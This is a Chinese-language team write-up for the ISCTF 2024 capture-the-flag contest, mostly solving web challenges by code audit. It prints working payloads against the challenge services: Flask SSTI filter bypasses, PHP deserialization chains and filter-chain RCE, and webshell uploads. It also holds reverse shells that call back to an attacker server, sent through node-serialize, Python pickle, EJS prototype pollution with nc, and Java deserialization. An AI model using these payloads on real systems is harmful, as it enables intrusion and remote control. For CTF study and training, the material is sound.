ISCTF 2024 - Writeup

ISCTF 2024 - Writeup

 次点击
351 分钟阅读

xxxx大学 x19 -- WriteUp

解出的题目:

Web:25时晓山瑞希生日会、小蓝鲨的冒险、ez_SSTI、UP!UPloader、1z_php、ezserialize、ezrce、小蓝鲨的秘密、天命人、小蓝鲨的临时存储室、千年樱、ezlogin、新闻系统、小蓝鲨的故事、ezejs、蓝鲨的java入门课堂、小蓝鲨的书店

Pwn:NetCat、girlfriend、ezgame

Misc:问卷、小蓝鲨的签到02、数字迷雾:在像素中寻找线、游园地1、游园地2、小蓝鲨的签到01、少女的秘密花园、赢!rar、老八奇怪自拍照、File_Format、watermark、秘密、奇怪的txt、神秘ping、像素圣战、starry sky、神秘的wav、来自天外的信息

Crypto:我和小蓝鲨的秘密、ChaCha20-Poly1305、小蓝鲨的密码

Re:Ezre、py不好,会被ban

一、Web

25时晓山瑞希生日会

这里设置 UA: Project Sekai 就行

这里设置 X-Forwarded-For 为 127.0.0.1

设置 Time 发现不对,设置Date有回显:

百度 RCF 822时间格式,

EEE, dd MMM yyyy HH:mm Z

格式有了,那么时间是什么时候?根据这个神秘的晓山瑞希生日会提示进行上网搜索,得到如下提示:

那时间也就是2024年8月26日 23点

所以按照这个格式来写

Mon, 26 Aug 2024 23:00:00 GMT

请求之后发现:

按照这个意思,日期改为

Mon, 27 Aug 2024 05:00:00 GMT

请求后返回flag。

小蓝鲨的冒险

先进行一个代码审计。

<?php
  error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
  $num = $_POST["num"];
  echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";
  if($num == 2024){
    die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");
  }
  if(preg_match("/[a-z]/i", $num)){
    die("陷阱太多QAQ");
  }
  if(intval($num,0) == 2024){
    echo "到这了难道还要放弃吗?<br>";
    if (isset($_GET['which'])){
      $which = $_GET['which'];
      echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
      switch ($which){
        case 0:
        print('QAQ');
        case 1:
        case 2:
        require_once $which.'.php';
        echo $flag;
        break;
        default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
      }
    }
  }
}

第一层判断:

if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {

也就是说我们需要让a[0]不等于QNKCDZO,同时对它进行md5也不能等于QNKCDZO的MD5值。

考虑到@parse_str($b);,可以联想到变量覆盖:令参数b=a=xxx,经过parse_str后可将a重新赋值为xxx。

那么a要填入的值应该是什么呢?由于要让md5等于QNKCDZO的MD5值,而QNKCDZO的MD5是0E830400451993494058024219903391。

这里我们看见0e开头,以及弱比较,就知道这一定利用了php的另外一个常见漏洞:md5的弱比较。0e开头会直接识别为以科学计数法作为格式的数字,也就是记为0。

关于md5弱比较这块网上讲的更清楚一些,我们这里直接百度一个md5值为0e的字符串拿来用就好,比如240610708

因此请求参数为 b=a[0]=240610708

进入了下一个判断:

 $num = $_POST["num"];
  echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";
  if($num == 2024){
    die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");
  }
  if(preg_match("/[a-z]/i", $num)){
    die("陷阱太多QAQ");
  }
  if(intval($num,0) == 2024){
    echo "到这了难道还要放弃吗?<br>";

这里是要post一个num,这个num既要等于2024,又不能直接等于2024的十进制,也不能使用十六进制绕过

所以我们就用八进制好了

2024(10) => 03750(8)

这里前面加了个0的原因是 intval 在输入字符串第一位是0时才会按八进制解析

 if (isset($_GET['which'])){
$which = $_GET['which'];
echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
switch ($which){
case 0:
print('QAQ');
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}

接下来需要我们传参which,我们仔细观察输出flag部分的代码块。

看到后面的switch case都是数字,这里可以利用另外一个PHP特性:switch case为数字时,传参字符串如果不包含数字,会解析为0

正好从case 0 到 case 2之间都没有break,可以顺利走到2的地方去。

这里echo flag之前有一句require_once which.‘.php’;,那么为了拿到flag,必须保证这一行不会有问题,否则就无法输出flag。因此我们需要找到另外一个可用的未被引用的php文件。随便测试一下,发现flag.php是存在的,那就你吧!

直接which=flag

返回flag。

ez_SSTI

根据题目名和简介,可以知道应该是考python flask SSTI漏洞。

我们在输入框里随便构建几个字符串进行测试,比如{{7*7}}

发现返回了49,那基本确定了就是这个考点。

我们直接输一个获取当前系统所有py模块的代码:{{[].class.base.subclasses()")}}

发现存在waf,所以现在需要绕过。

具体构建方式可参考此文档:

python SSTI 过滤器绕过 - meraklbz - 博客园

依照此构建方法,我们构建payload:

**<font style="color:rgb(216, 59, 100);background-color:rgb(249, 242, 244);">__import__('os').popen('cat ../flag').read()</font>**:

{% set pld = xhx2impxhx2leftyinsoyinrightpointponleftyincaspacepointpointslasflgyinrightpointredleft~right %}

最终的poc:

import requests
url="http://27.25.151.12:21517/"
payload="""
{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set three = (zero-one-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two-one-one-one)|int %}
{% set six=(three*two)|int%}
{% set seven = (zero-one-one-five)|abs %}
{% set eight=(two*four) |int %}
{% set nine = (zero-seven-one-one)|abs %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc=bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set space = bfhc%((three~two)|int) %}
{% set point = bfhc%((four~six)|int) %}
{% set leftsquare = bfhc%((nine~one)|int) %}
{% set rightsquare =bfhc%((nine~three)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}
{% set pon = dict(po=aa,pen=dd)|join %}
{% set so = dict(o=aa,s=dd)|join %}
{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set sl = dict(l=aa,s=bb)|join %}
{% set dri = dict(di=aa,r=bb)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set glo = dict(glo=aa,bals=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %}
{% set pld = xhx*2~imp~xhx*2~left~yin~so~yin~right~point~pon~left~yin~ca~space~point~point~slas~flg~yin~right~point~red~left~right %}
{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}
{% if f == bul %}
{% for a,b in (v|attr(itm))() %}
{% if a == ev %}
{{b(pld)}}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
"""
payload=payload.replace(" ","\n")
data={"user_input":payload}
print(requests.post(data=data,url=url).text)

替换url,运行即可获得flag。

UP!UPloader

请求index.php可以请求通,初步判断是考察php文件上传rce。

随便上传一个一句话shell,回显:

提示include.php,我们进去看看:

推测点了包含文件后就会执行include(PHP)的方法。

我们尝试include index.php,发现可以正常包含,推测成立。

构建:php://filter/convert.base64-encode/resource=index.php** **来读取index.php的源码:

<!DOCTYPE html>
<html lang="zh-CN">
    <head>
        <meta charset="UTF-8">
        <title>文件上传示例</title>

    </head>

    <body>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            <label for="file">选择要上传的文件:</label>

            <input type="file" name="file" id="file" required>
            <br><br>
            <input type="submit" value="上传文件">
        </form>

    </body>

</html>

没什么亮点,依法炮制拿到upload.php:

<?php
error_reporting(0);
$file = $_FILES['file'];
if (isset($file) && $file['size'] > 0) {
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    $name = pathinfo($file['name'], PATHINFO_FILENAME);
    $dir_name = $name . '.' . $ext;
    $upload_dir = './uploads/';
    if (!is_dir($upload_dir)) {
        mkdir($upload_dir, 0755, true);
    }
    if (move_uploaded_file($file['tmp_name'], $upload_dir . md5($dir_name) . '.' . $ext)) {
        echo "文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。" ;
    } else {
        echo "文件存储失败,未知原因......";
    }
    die();
}
?>

代码审计可以发现上传路径为uploads/文件md5.后缀名,所以我们上传的crash.php可访问路径就是/uploads/beade939f8b8be6272b68b7b29f60152.php。

直接启动中国蚁剑进行连接。

根目录找flag。

1z_php

<?php
highlight_file('index.php');

#一句话木马,神神又奇奇

if(isset($_POST['J'])){
$call=$_POST['J'];
$dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od'];
foreach ($dangerous_commands as $command) {
if (preg_match("/$command/i", $call)) {
die("这些个危险函数可不兴使啊");
}
}
system($call);
}
?>

签到题,直接

发现flag,用sort读取。

ezserialize

<?php
  error_reporting(0);

class Flag {
  private $flag;

  public function __construct() {
    $this->flag = file_get_contents('/flag');
  }

  public function getFlag() {
    return $this->flag;
  }

  public function __toString() {
    return "You can't directly access the flag!";
  }
}

class User {
  public $username;
  public $isAdmin = false;

  public function __construct($username) {
    $this->username = $username;
  }

  public function __wakeup() {
    if ($this->isAdmin) {
      echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
    } else {
      echo "Hello, " . htmlspecialchars($this->username) . "!";
    }
  }
}

if (isset($_GET['data'])) {
  $data = $_GET['data'];

  $object = unserialize($data);
  if ($object instanceof User) {
    echo $object;
  } else {
    echo "Invalid object!";
  }
} else {
  highlight_file(__FILE__);
}
?>

代码审计,这可能是世界上最简单的php反序列化考题。

我们只需让isAdmin=true,剩下的都不需要构建什么链了。

直接上poc:

<?php

class User {
  public $username;
  public $isAdmin = true;
}

$ins = new User();

echo serialize($ins);

结果:O:4:"User":2:{s:8:"username";N;s:7:"isAdmin";b:1;}

直接去请求:

ezrce

<?php

error_reporting(0);

if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];

if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
die("Blocked by security filter!");
} else {
eval($cmd);
}
} else {
highlight_file(__FILE__);
}
?>

waf关键词还挺多的。

观察响应头,发现php版本7.3,支持字符串拼接绕过:

(s.y.s.t.e.m)("whoami");

通过字符串拼接直接构建出payload,执行。后面我当时具体怎么做的忘了。这里提供另外一种办法:

另外一种办法是不去调用system,而是用var_dump(scandir('/'));获取目录内容。

然后在使用readfile("/fla"."g")去读flag

小蓝鲨的秘密

直接访问题目链接发现会被跳转到蓝鲨信息官网,盲猜302跳转,我们使用burpsuite拦截css

直接拿flag。

天命人

<?php
error_reporting(0);

# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
public $wu="俺老孙定要踏破这五指山!<br>";
public $zhi;
public $shan;

function __get($j)
{
echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
$yin="s214587387a";
$yang=$_GET['J'];
if (md5($yin)==$yang&&md5($yin)==md5($yang)){
echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
system('cat /flag');
}
}
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
function __get($huo)
{
$this->huoyan="火眼能洞察一切邪祟!<br>";
echo $this->huoyan->jinjing;
}
function __invoke()
{
$this->jinjing="金睛能看破世间迷惘!<br>";
echo $this->huoyan->jinjing;
}
}
class Dinghaishenzhen{
public $Jindou="一个筋斗能翻十万八千里!<br>";
public $yun;

function __toString()
{
$f=$this->yun;
$f();
return "你真的逃出去了吗?天命人?<br>";
}
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变!<br>";

function __sleep()
{
echo "三更敲门,菩提老祖送我筋斗云...<br>";
echo new Jindouyun();
}
}
class Tianmingren {
public $tianming;
public $ren;
function __destruct()
{
echo "迷途中的羔羊,你相信天命吗?<br>";
echo $this->tianming;
}
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
?>

代码审计,首先是PHP反序列化,我们构建pop链:

Tianmingren=>Dinghaishenzhen=>Huoyanjinjing=>Wuzhishan,

其中Dinghaishenzhen到Huoyanjinjing这部分利用的是$f();调用魔术方法__invoke(),

Huoyanjinjing到Wuzhishan这部分利用的是->jinjing,即调用到不存在的字段时调用魔术方法__get($j)。

另外考虑到unserialize下方有一句throw new Exception,它将阻止我们在反序列化之后调用类的__destruct魔术方法,从而无法使我们的调用链成功执行。因此我们必须尝试使PHP GC强制回收一次以触发我们的__destruct魔术方法。

关于这部分内容,详细了解可以去看浅谈php GC(垃圾回收)机制及其与CTF的一点缘分 - 海屿-uf9n1x - 博客园

完整poc:

<?php
# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
    public $wu="";
    public $zhi;
    public $shan;
}
class Huoyanjinjing{
    public $huoyan;
    public $jinjing;
}
class Dinghaishenzhen{
    public $Jindou="";
    public $yun;
}
class Tianmingren {
    public $tianming;
    public $ren;
}

$data = new Tianmingren();
$theTianMing = new Dinghaishenzhen();
$theYun = new Huoyanjinjing();
$theHuoyan = new Wuzhishan();

$theYun->huoyan = $theHuoyan;
$theTianMing->yun = $theYun;
$data->tianming = $theTianMing;


echo serialize(array($data, 0) );

我们将通过上面代码拿到的序列化字符串进行一些修改使其gc强制工作:

原字符串:

<font style="color:rgb(0, 0, 0);">a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:0:"";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:0:"";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:1;i:0;}</font>

<font style="color:rgb(0, 0, 0);">修改为</font>

<font style="color:rgb(0, 0, 0);">a:1:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:0:"";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:0:"";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:1;i:0;}</font>

<font style="color:rgb(0, 0, 0);">就能正常走到最终的判断块了,至于那个md5判断,只需要参数放一个开头为0e,md5之后还是0e的字符串,就可以绕过。这里提供一个可用的:0e215962017</font>

<font style="color:rgb(0, 0, 0);">最终post参数,拿到flag。</font>

小蓝鲨的临时存储室

一上来是个文件上传,我们直接上传一句话shell。

非常贴心,上传完还回显了路径。我们直接用中国蚁剑连接。

找到flag了,可惜打开是空的,但是大小也不是0byte呀?

这是因为权限问题:

你再多停留一会,就会发现中国蚁剑已经无法正常使用了:

推测可能是存在某脚本进行文件删除行为,将我们的shell删掉了。因此我们下次行动必须稍微快一点。

再次上传脚本并连接,发现可疑脚本down_file.sh,打开:

果然印证了我们的猜想,我们直接火速删除这行代码并保存,防止后续再删。

那么是否可以借助这个定时运行的脚本来修改我们flag的权限呢?

我们直接在里面的内容加上 chmod 755 /flag 并保存,再将down_file.sh这个文件的权限修改为0755,执行该脚本之后,便发现我们的flag权限已经被调整为0755,可以直接打开了。

千年樱

<?php
include "dir.php";
highlight_file(__FILE__);

echo "proof of work<br>";

if($_COOKIE['from'] === "ISCTF"){
echo $dir1;
}
else{
die('what? so where are you from?');
}

// <!-- do you want to learn more?  goto story.txt -->
?> proof of work
what? so where are you from?

首先是需要设置Cookie的from=ISCTF

根据回显提示,前往/get_contents_qwerghjkl.php

<!DOCTYPE html>
<html>
<head>
    <title>read! read! read!</title>

</head>

<body style="background: '/static/bg1.png' ">
    <?php
include "dir.php";
highlight_file(__FILE__);

if(file_get_contents($_POST['name']) === 'ISCTF'){
echo $dir2;
}
else{
die("Wrong!");
}


?>
</body>

</html>

这里需要让file_get_contents获取到ISCTF,可以使用data协议:

data://text/plain;ISCTF

根据回显前往/well_down_mlpnkobji.php

<!DOCTYPE html>
<html>
<head>
    <title>read! read! read! we need read!!!</title>

</head>

<body style="background-image: url('/static/bg2.png'); background-size: cover; background-attachment: fixed; ">
    <?php
include "dir.php";
highlight_file(__FILE__);

function waf($str){
if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){
die('bad hacker!!!');
}
}
$poc = $_POST['poc'];
waf($poc);
$filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
$result = file_get_contents($filename);
if($result === "sakura for ISCTF"){
echo "yes! master!";
eval($_POST['cmd']);
}

if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){
var_dump($result);
}


?>
</body>

</html>

这里是要求我们通过php filter伪协议实现从流中读取内容为sakura for ISCTF,

我们使用这个在线小工具生成过滤流:

(这里考虑到由于该文件是有内容的,我们在使用小工具生成前需要思考如何将文件的内容删去。这里有一个方法:通过在sakura for ISCTF后添加<?php,在该php标签之后的内容都将会被php视为代码,之后在我们生成的过滤流最后添加上|string.strip_tags来删除这部分内容即可。)

PHP FilterChain Generator

生成之后的结果:

convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

直接将这一坨拿去请求会发现报错:

这是因为第一句的韩文编码存在问题,我们将开头的convert.iconv.UTF8.CSISO2022KR|删去再次请求即可得到回显:

此时可以达成RCE,我们直接ls:

发现当前目录下存在flag.php,直接cat获取flag。

ezlogin

首先代码审计,可以发现后端采用ejs编写。ejs这块一般常考的一个原型链污染,另一个就是反序列化rce。Node.js 常见漏洞学习与总结 - 先知社区

打开看到auth函数内有对unserialize的调用,八九不离十就是反序列化rce了。

这里说一下要如何利用:

在将要被反序列化的json中,包含一个值,这个值有“ND_FUNC”这个字符串。在该字符串后面可以携带javascript进行执行。

基于这个原理,我们构建一个exploit rce json:(由于拿不到回显 我们需要一台服务器来反弹shell)

{"rce":"_$ND_FUNC$_function(){var net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(服务器port,'服务器ip',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;}()","username":"guest","isAdmin":"true"}

将该json base64编码后放入cookie中GET /index 即可反弹shell

新闻系统

这题有附件。打开附件进行代码审计:

一上来就看见flask和secret key,并且secret key已知,那么很有可能会在这里有说法。

一般来说就是flask session伪造之类的。

再往下看,发现了pickle.loads,并且参数可控,那很有可能也考pickle反序列化攻击漏洞。

继续审计,发现存在admin界面,并且是从session中读取状态。

那么这就需要我们伪造Session了。

直接使用flask-session-manager进行伪造:

.eJyrVipILC4uzy9KUbJSSkzJzcwzMjJS0lEqLkksKS2GiQEFSotTi_ISc1PhQrUAUyMTvw.ZzHlBQ.A0rqgO-aQi4R5-cbMqY4vC-lMAQ

成功进入后台界面。此时我们继续审计代码:

@app.route("/add", methods=["POST"])
def add_news():
    if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
        return redirect("/login")    
    serialized_news = request.form["serialized_news"]
    if newslist.add_news(serialized_news):
        return redirect("/admin")
    else:
        return jsonify({"error": "Failed to add news"})

这一块是用来添加新闻的,可以看到有一个add_news,我们进去看下:

def add_news(self, serialized_news) -> None:
        try:
            news_data = base64.b64decode(serialized_news)
            black_list = ['create_news','export_news','add_news','get_news']
            for i in black_list:
                if i in str(news_data):
                    return False
            news = pickle.loads(news_data)
            if isinstance(news,News):
                for i in self.news_list:
                    if i.title == news.title:
                        return False
                self.news_list.append(news)
                return True
            return False
        except Exception:
            return False

这里就涉及到我们上文审计到的pickle.loads方法了。因此我们现在开始构造包含攻击的News实例,并使用pickles.dumps导出序列化数据。

理论上去给类添加__reduce__去做也是没有问题的,这里没有限制字节码。不过我这里还是想提一下用pker去在字节码层面上完成此题,而且还能保证通过isinstance检测,让界面不崩溃。

为了方便,这里我们使用pker构建我们的payload:

(这道题依然没有回显 为了反弹shell依然需要有自己的服务器)

news = OBJ(GLOBAL('__main__', 'News'), 'abcaa','defff')
s="python -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('服务器IP',服务器PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\""
system = GLOBAL('os', 'system')
system(s) 
return news

通过pyer构建该pickle字符串,导出后进行测试

import base64
import pickle

class News:
    def __init__(self, title, content) -> None:
        self.title = title
        self.content = content

    def __repr__(self) -> str:
        return f"news(name={self.title}, words={self.content})"


print(pickle.dumps(News("adada", "defff"), protocol=0))

abc = b'(c__main__\nNews\nS\'abcaa\'\nS\'defff\'\nop0\n0S\'python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'XXXX\\\',XXXX));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\'/bin/sh\\\',\\\'-i\\\']);"\'\np1\n0cos\nsystem\np2\n0g2\n(g1\ntRg0\n.'

print(base64.b64encode(abc).decode())
inst = pickle.loads(abc)
print(isinstance(inst, News))

输出 True,说明我们构建出来的payload成功绕过了isinstance的检测。

接下来直接将payload进行提交

可以看到,正常添加,也跳转回admin界面了。并且反弹shell已连接上,直接找flag即可。

小蓝鲨的故事

这个题我做的时候还没有hint,后面给的hint是:

直接访问robots.txt,得到key:zbIBWjHS

访问/,让我们Read Hacker,所以访问/Hacker

一个小故事,可看可不看,我们右键查看源码

界面底部有一行小字,告诉我们他是 ISctf_Hacker

请求下/flag,发现有内容:

通过burpsuite再次请求/,可以发现服务端给我们设了个session:

再看header,发现这是一个Werkzeug/1.0.1 Python/2.7.18的服务端,联合session推测是Flask。

解密session,结果是{"username":{" b":"d3d3LWRhdGE="}},

联合上面得到的key,不难想到是flask-session伪造,因此我们直接flask-session-manager进行fake session,把d3d3什么玩意的替换成ISctf_Hacker

python flask_session_cookie_manager3.py encode -s zbIBWjHS -t "{'username': b'ISctf_Hacker'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlNWTmpkR1pmU0dGamEyVnkifX0.ZzXv1w.bo1OD2_7wrGswsiju-NggjROpck

生成session后填入请求中,再次get /flag,直接拿到flag。

ezejs

有附件,进行代码审计。

ejs编写,并且标出来backdoor:

看见outputFunctionName和这个copy函数立刻就能联想到是原型链污染,可惜几个常用的payload被过滤了,所以我们只能找其他路子。

关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台

对nodejs源码进行分析,存在几个调用点:outputFunctionName, localsName, escapeFn和destructuredLocals。前三个都被河蟹了,那只能来搞第四个。

构建json:

{"__proto__":{"destructuredLocals":["a=a;global.process.mainModule.require('child_process').execSync('nc 服务器ip 服务器port -e /bin/sh');//var __tmp2"]}}

执行后有回显,说明已经加载,此时我们重新GET /,让ejs进行界面渲染,便可反弹shell

找flag。

蓝鲨的java入门课堂

审计代码,是个jar,拖入recaf分析:

一个SpringBoot应用,其中/ser是入口,这里是考urldns链的使用。我们看下Evil这个类:

它实现了Serializable,并且重写了hashCode(),根据HashMap的readObject的调用链:

  1. HashMap.readObject();

  1. HashMap.putVal();

  1. HashMap.hash();

  1. object.hashCode();

在读取到这个Evil对象时,将会调用hashCode,此时就会执行rce,完成攻击。

因此我们需要序列化一个合适的payload。

对了,需要提醒的是Evil这个类的包名必须和原来的保持一样,不然服务端读不出来是哪个类

POC如下:

package com.company;

import cat.uwu.begin_java.Evil;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class testdemo {
    
    public static byte[] serialize(final Object obj) throws Exception{
        ByteArrayOutputStream btout  = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static void main(String[] args) throws Exception{
        Constructor<Evil> constructor = Evil.class.getDeclaredConstructor(String.class);
        // 让构造函数可以访问
        constructor.setAccessible(true);
        // 创建Evil类的实例
        Evil evilInstance = constructor.newInstance("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/XXXX/XXX 0>&1");

        HashMap map = new HashMap();
        map.put(evilInstance, "ab");

        byte[] s = serialize(map);
        byte[] buffer = Base64.getEncoder().encode(s);
        String payload = new String(buffer);
        System.out.println(payload);
    }
}

这里为了不改变Evil实例的serializeUid,我使用反射来创建类的实例,否则post过去会报500错误。
